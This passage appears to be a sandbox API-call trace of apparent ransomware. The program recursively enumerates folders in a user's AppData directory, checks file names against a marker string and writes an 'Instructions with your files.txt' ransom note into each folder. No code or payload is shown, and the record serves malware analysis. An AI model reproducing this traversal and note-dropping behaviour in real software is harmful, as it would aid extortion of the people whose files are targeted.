[0130.572] WriteFile (in: hFile=0x11c, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce6e4*=0xc, lpOverlapped=0x0) returned 1
[0130.572] WriteFile (in: hFile=0x11c, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce6e4*=0x16, lpOverlapped=0x0) returned 1
[0130.572] WriteFile (in: hFile=0x11c, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce6e4*=0x23, lpOverlapped=0x0) returned 1
[0130.572] CloseHandle (hObject=0x11c) returned 1
[0130.572] FindClose (in: hFindFile=0x876d78 | out: hFindFile=0x876d78) returned 1
[0130.572] GetProcessHeap () returned 0x810000
[0130.572] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x865bd0 | out: hHeap=0x810000) returned 1
[0130.572] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf7f22040, ftCreationTime.dwHighDateTime=0x1d3373f, ftLastAccessTime.dwLowDateTime=0xf7f22040, ftLastAccessTime.dwHighDateTime=0x1d3373f, ftLastWriteTime.dwLowDateTime=0xf7f22040, ftLastWriteTime.dwHighDateTime=0x1d3373f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Transcoded Files Cache", cAlternateFileName="TRANSC~1")) returned 0
[0130.572] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Instructions with your files.txt") returned 103
[0130.573] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118
[0130.573] WriteFile (in: hFile=0x118, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce974*=0x54, lpOverlapped=0x0) returned 1
[0130.574] WriteFile (in: hFile=0x118, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce974*=0x18, lpOverlapped=0x0) returned 1
[0130.574] WriteFile (in: hFile=0x118, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce974*=0xc, lpOverlapped=0x0) returned 1
[0130.574] WriteFile (in: hFile=0x118, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce974*=0x16, lpOverlapped=0x0) returned 1
[0130.574] WriteFile (in: hFile=0x118, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce974*=0x23, lpOverlapped=0x0) returned 1
[0130.574] CloseHandle (hObject=0x118) returned 1
[0130.574] FindClose (in: hFindFile=0x876d38 | out: hFindFile=0x876d38) returned 1
[0130.574] GetProcessHeap () returned 0x810000
[0130.574] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x855bc8 | out: hHeap=0x810000) returned 1
[0130.574] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4f780d90, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0x4bb72310, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x4bb72310, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office", cAlternateFileName="")) returned 1
[0130.574] wnsprintfW (in: pszDest=0x845bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office") returned 64
[0130.574] GetProcessHeap () returned 0x810000
[0130.575] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x855bc8
[0130.575] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\*") returned 66
[0130.575] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\*", lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4f780d90, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0x4bb72310, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x4bb72310, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876d38
[0130.575] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\.") returned 66
[0130.575] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4f780d90, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0x4bb72310, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x4bb72310, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0130.575] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\..") returned 67
[0130.575] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x197ec0b0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xf7a855a0, ftLastAccessTime.dwHighDateTime=0x1d3373f, ftLastWriteTime.dwLowDateTime=0xf7a855a0, ftLastWriteTime.dwHighDateTime=0x1d3373f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="14.0", cAlternateFileName="")) returned 1
[0130.575] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\14.0") returned 69
[0130.575] GetProcessHeap () returned 0x810000
[0130.575] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x865bd0
[0130.575] wnsprintfW (in: pszDest=0x865bd0, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\14.0\\*") returned 71
[0130.575] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\14.0\\*", lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x197ec0b0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xf7a855a0, ftLastAccessTime.dwHighDateTime=0x1d3373f, ftLastWriteTime.dwLowDateTime=0xf7a855a0, ftLastWriteTime.dwHighDateTime=0x1d3373f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876d78
[0130.576] wnsprintfW (in: pszDest=0x865bd0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\14.0\\.") returned 71
[0130.576] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x197ec0b0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xf7a855a0, ftLastAccessTime.dwHighDateTime=0x1d3373f, ftLastWriteTime.dwLowDateTime=0xf7a855a0, ftLastWriteTime.dwHighDateTime=0x1d3373f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0130.576] wnsprintfW (in: pszDest=0x865bd0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\14.0\\..") returned 72
[0130.576] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf7a855a0, ftCreationTime.dwHighDateTime=0x1d3373f, ftLastAccessTime.dwLowDateTime=0xf7ad1860, ftLastAccessTime.dwHighDateTime=0x1d3373f, ftLastWriteTime.dwLowDateTime=0xf7ad1860, ftLastWriteTime.dwHighDateTime=0x1d3373f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfficeFileCache", cAlternateFileName="OFFICE~1")) returned 1
[0130.576] wnsprintfW (in: pszDest=0x865bd0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\14.0\\OfficeFileCache") returned 85
[0130.576] GetProcessHeap () returned 0x810000
[0130.576] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22d0048
[0130.577] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\14.0\\OfficeFileCache\\*") returned 87
[0130.577] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\14.0\\OfficeFileCache\\*", lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf7a855a0, ftCreationTime.dwHighDateTime=0x1d3373f, ftLastAccessTime.dwLowDateTime=0xf7ad1860, ftLastAccessTime.dwHighDateTime=0x1d3373f, ftLastWriteTime.dwLowDateTime=0xf7ad1860, ftLastWriteTime.dwHighDateTime=0x1d3373f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876db8
[0130.578] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\14.0\\OfficeFileCache\\.") returned 87
[0130.578] FindNextFileW (in: hFindFile=0x876db8, lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf7a855a0, ftCreationTime.dwHighDateTime=0x1d3373f, ftLastAccessTime.dwLowDateTime=0xf7ad1860, ftLastAccessTime.dwHighDateTime=0x1d3373f, ftLastWriteTime.dwLowDateTime=0xf7ad1860, ftLastWriteTime.dwHighDateTime=0x1d3373f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0130.578] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\14.0\\OfficeFileCache\\..") returned 88
[0130.578] FindNextFileW (in: hFindFile=0x876db8, lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf7aab700, ftCreationTime.dwHighDateTime=0x1d3373f, ftLastAccessTime.dwLowDateTime=0xf7aab700, ftLastAccessTime.dwHighDateTime=0x1d3373f, ftLastWriteTime.dwLowDateTime=0xf7ad1860, ftLastWriteTime.dwHighDateTime=0x1d3373f, nFileSizeHigh=0x0, nFileSizeLow=0x20000, dwReserved0=0x0, dwReserved1=0x0, cFileName="FSD-CNRY.FSD", cAlternateFileName="")) returned 1
[0130.578] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\14.0\\OfficeFileCache\\FSD-CNRY.FSD") returned 98
[0130.578] StrStrIW (lpFirst="FSD-CNRY.FSD", lpSrch="SDfghjkl") returned 0x0
[0130.578] FindNextFileW (in: hFindFile=0x876db8, lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf7ad1860, ftCreationTime.dwHighDateTime=0x1d3373f, ftLastAccessTime.dwLowDateTime=0xf7ad1860, ftLastAccessTime.dwHighDateTime=0x1d3373f, ftLastWriteTime.dwLowDateTime=0xf7af79c0, ftLastWriteTime.dwHighDateTime=0x1d3373f, nFileSizeHigh=0x0, nFileSizeLow=0x20000, dwReserved0=0x0, dwReserved1=0x0, cFileName="FSD-{48508C83-EC67-468F-AA1F-6F3CAF625658}.FSD", cAlternateFileName="FSD-{4~1.FSD")) returned 1
[0130.578] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\14.0\\OfficeFileCache\\FSD-{48508C83-EC67-468F-AA1F-6F3CAF625658}.FSD") returned 132
[0130.578] StrStrIW (lpFirst="FSD-{48508C83-EC67-468F-AA1F-6F3CAF625658}.FSD", lpSrch="SDfghjkl") returned 0x0
[0130.578] FindNextFileW (in: hFindFile=0x876db8, lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf7ad1860, ftCreationTime.dwHighDateTime=0x1d3373f, ftLastAccessTime.dwLowDateTime=0xf7ad1860, ftLastAccessTime.dwHighDateTime=0x1d3373f, ftLastWriteTime.dwLowDateTime=0xf7af79c0, ftLastWriteTime.dwHighDateTime=0x1d3373f, nFileSizeHigh=0x0, nFileSizeLow=0x72, dwReserved0=0x0, dwReserved1=0x0, cFileName="FSF-CTBL.FSF", cAlternateFileName="")) returned 1
[0130.578] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\14.0\\OfficeFileCache\\FSF-CTBL.FSF") returned 98
[0130.578] StrStrIW (lpFirst="FSF-CTBL.FSF", lpSrch="SDfghjkl") returned 0x0
[0130.578] FindNextFileW (in: hFindFile=0x876db8, lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf7ad1860, ftCreationTime.dwHighDateTime=0x1d3373f, ftLastAccessTime.dwLowDateTime=0xf7ad1860, ftLastAccessTime.dwHighDateTime=0x1d3373f, ftLastWriteTime.dwLowDateTime=0xf7af79c0, ftLastWriteTime.dwHighDateTime=0x1d3373f, nFileSizeHigh=0x0, nFileSizeLow=0x72, dwReserved0=0x0, dwReserved1=0x0, cFileName="FSF-CTBL.FSF", cAlternateFileName="")) returned 0
[0130.578] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\14.0\\OfficeFileCache\\Instructions with your files.txt") returned 118
[0130.579] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\14.0\\OfficeFileCache\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\office\\14.0\\officefilecache\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120
[0130.580] WriteFile (in: hFile=0x120, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce454*=0x54, lpOverlapped=0x0) returned 1
[0130.581] WriteFile (in: hFile=0x120, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce454*=0x18, lpOverlapped=0x0) returned 1
[0130.581] WriteFile (in: hFile=0x120, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce454*=0xc, lpOverlapped=0x0) returned 1
[0130.581] WriteFile (in: hFile=0x120, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce454*=0x16, lpOverlapped=0x0) returned 1
[0130.581] WriteFile (in: hFile=0x120, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce454*=0x23, lpOverlapped=0x0) returned 1
[0130.582] CloseHandle (hObject=0x120) returned 1
[0130.582] FindClose (in: hFindFile=0x876db8 | out: hFindFile=0x876db8) returned 1
[0130.582] GetProcessHeap () returned 0x810000
[0130.582] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22d0048 | out: hHeap=0x810000) returned 1
[0130.582] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf7a855a0, ftCreationTime.dwHighDateTime=0x1d3373f, ftLastAccessTime.dwLowDateTime=0xf7ad1860, ftLastAccessTime.dwHighDateTime=0x1d3373f, ftLastWriteTime.dwLowDateTime=0xf7ad1860, ftLastWriteTime.dwHighDateTime=0x1d3373f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfficeFileCache", cAlternateFileName="OFFICE~1")) returned 0
[0130.582] wnsprintfW (in: pszDest=0x865bd0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\14.0\\Instructions with your files.txt") returned 102
[0130.582] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\14.0\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\office\\14.0\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11c
[0130.582] WriteFile (in: hFile=0x11c, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce6e4*=0x54, lpOverlapped=0x0) returned 1
[0130.583] WriteFile (in: hFile=0x11c, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce6e4*=0x18, lpOverlapped=0x0) returned 1
[0130.583] WriteFile (in: hFile=0x11c, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce6e4*=0xc, lpOverlapped=0x0) returned 1
[0130.583] WriteFile (in: hFile=0x11c, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce6e4*=0x16, lpOverlapped=0x0) returned 1
[0130.583] WriteFile (in: hFile=0x11c, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce6e4*=0x23, lpOverlapped=0x0) returned 1
[0130.583] CloseHandle (hObject=0x11c) returned 1
[0130.583] FindClose (in: hFindFile=0x876d78 | out: hFindFile=0x876d78) returned 1
[0130.584] GetProcessHeap () returned 0x810000
[0130.584] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x865bd0 | out: hHeap=0x810000) returned 1
[0130.585] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4f780d90, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0x4f780d90, ftLastAccessTime.dwHighDateTime=0x1d2dda2, ftLastWriteTime.dwLowDateTime=0x4f780d90, ftLastWriteTime.dwHighDateTime=0x1d2dda2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Groove", cAlternateFileName="")) returned 1
[0130.585] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\Groove") returned 71
[0130.585] GetProcessHeap () returned 0x810000
[0130.585] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x865bd0
[0130.585] wnsprintfW (in: pszDest=0x865bd0, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\Groove\\*") returned 73
[0130.585] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\Groove\\*", lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4f780d90, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0x4f780d90, ftLastAccessTime.dwHighDateTime=0x1d2dda2, ftLastWriteTime.dwLowDateTime=0x4f780d90, ftLastWriteTime.dwHighDateTime=0x1d2dda2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876d78
[0130.586] wnsprintfW (in: pszDest=0x865bd0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\Groove\\.") returned 73
[0130.586] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4f780d90, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0x4f780d90, ftLastAccessTime.dwHighDateTime=0x1d2dda2, ftLastWriteTime.dwLowDateTime=0x4f780d90, ftLastWriteTime.dwHighDateTime=0x1d2dda2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0130.586] wnsprintfW (in: pszDest=0x865bd0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\Groove\\..") returned 74
[0130.586] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4f780d90, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0x4f780d90, ftLastAccessTime.dwHighDateTime=0x1d2dda2, ftLastWriteTime.dwLowDateTime=0x4f780d90, ftLastWriteTime.dwHighDateTime=0x1d2dda2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System", cAlternateFileName="")) returned 1
[0130.586] wnsprintfW (in: pszDest=0x865bd0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\Groove\\System") returned 78
[0130.586] GetProcessHeap () returned 0x810000
[0130.586] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22d0048
[0130.587] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\Groove\\System\\*") returned 80
[0130.587] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\Groove\\System\\*", lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4f780d90, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0x4f780d90, ftLastAccessTime.dwHighDateTime=0x1d2dda2, ftLastWriteTime.dwLowDateTime=0x4f780d90, ftLastWriteTime.dwHighDateTime=0x1d2dda2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876db8
[0130.587] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\Groove\\System\\.") returned 80
[0130.587] FindNextFileW (in: hFindFile=0x876db8, lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4f780d90, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0x4f780d90, ftLastAccessTime.dwHighDateTime=0x1d2dda2, ftLastWriteTime.dwLowDateTime=0x4f780d90, ftLastWriteTime.dwHighDateTime=0x1d2dda2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0130.587] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\Groove\\System\\..") returned 81
